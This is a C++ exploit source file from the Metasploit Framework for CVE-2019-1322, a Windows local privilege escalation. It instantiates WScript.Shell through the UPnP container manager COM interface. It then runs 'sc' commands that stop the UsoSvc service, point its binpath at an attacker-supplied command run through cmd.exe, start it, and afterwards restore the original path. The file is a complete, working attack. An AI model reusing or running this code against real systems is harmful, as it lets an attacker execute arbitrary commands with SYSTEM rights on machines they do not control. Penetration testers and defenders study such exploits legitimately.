metasploit-framework/external/source/exploits/CVE-2019-1322/CVE-2019-1322-EXE/cve-2019-1322.cpp

67 lines
2.2 KiB
C++
Executable File

#include <atlbase.h> // CComPtr
#include <Propvarutil.h>
#include <string>
#import "wshom.ocx" no_namespace, raw_interfaces_only // Error here is a bug. It will still compile
# define command_size 128
int wmain(int argc, wchar_t* argv[], wchar_t* envp[])
{
GUID guidObject = { 0x6d8ff8e7, 0x730d, 0x11d4, { 0xbf, 0x42, 0x00, 0xb0, 0xd0, 0x11, 0x8b, 0x56 } };
struct __declspec(uuid("6d8ff8d4-730d-11d4-bf42-00b0d0118b56"))
IUPnPContainerManager : public IUnknown {
virtual HRESULT __stdcall ReferenceContainer(wchar_t*) = 0;
virtual HRESULT __stdcall UnReferenceContainer(wchar_t*) = 0;
virtual HRESULT __stdcall CreateInstance(
wchar_t* string1,
GUID* guid1,
GUID* guid2,
IUnknown** pObject) = 0;
virtual HRESULT __stdcall CreateInstanceWithProgID(
wchar_t* string1,
wchar_t* guid1,
GUID* guid2,
IUnknown** pObject) = 0;
virtual HRESULT __stdcall Shutdown() = 0;
};
wchar_t command[command_size];
CoInitialize(NULL);
HRESULT hr1, hr2 = 0, hr3 = 0, hr4 = 0;
IUPnPContainerManager* ContainerMgr;
hr1 = CoCreateInstance(guidObject, nullptr, CLSCTX_ALL, IID_PPV_ARGS(&ContainerMgr));
hr2 = ContainerMgr->ReferenceContainer((wchar_t*)L"fUUUtb");
CLSID clsid;
CLSIDFromProgID(OLESTR("WScript.Shell"), &clsid);
IWshShell* WshInterface = nullptr;
auto ShellUUID = __uuidof(IWshShell);
hr3 = ContainerMgr->CreateInstance((wchar_t*)L"fUUUtb", &clsid, &ShellUUID, (IUnknown**)&WshInterface);
int out;
VARIANT s;
InitVariantFromInt32(1, &s);
VARIANT type;
InitVariantFromBoolean(TRUE, &type);
if (argc == 2)
{
const wchar_t* msg[6] = { L"sc stop UsoSvc", L"sc config UsoSvc binpath= \"cmd.exe /c ", L"sc start UsoSvc", L"sc stop UsoSvc", L"sc config UsoSvc binpath= \"C:\\WINDOWS\\system32\\svchost.exe - k netsvcs - p\"", L"sc start UsoSvc" };
memset((void*) command, 0, command_size * sizeof(wchar_t));
wsprintf(command, L"%s%s &\"", msg[1], argv[1]);
for (int i = 0; i < 6; i++)
{
if (i == 1)
{
hr4 = WshInterface->Run(::SysAllocString(command), &s, &type, &out);
}
else
{
hr4 = WshInterface->Run(::SysAllocString(msg[i]), &s, &type, &out);
}
Sleep(3000);
}
}
CoUninitialize();
return 0;
}